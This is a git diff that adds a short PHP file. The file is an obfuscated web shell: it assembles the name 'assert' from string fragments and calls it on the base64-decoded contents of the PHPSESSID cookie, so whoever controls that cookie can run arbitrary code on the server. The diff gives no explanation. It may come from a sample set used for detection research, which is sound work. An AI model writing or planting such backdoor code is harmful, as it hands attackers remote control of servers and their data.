diff --git a/php/2022-09-0901.php b/php/2022-09-0901.php
new file mode 100644
index 0000000..5d387d1
--- /dev/null
+++ b/php/2022-09-0901.php
@@ -0,0 +1,9 @@
+<?php
+session_start();
+$a = "a";
+$s = "s";
+$c=$a.$s."sert";
+
+$c(base64_decode($_COOKIE["PHPSESSID"]));
+
+?>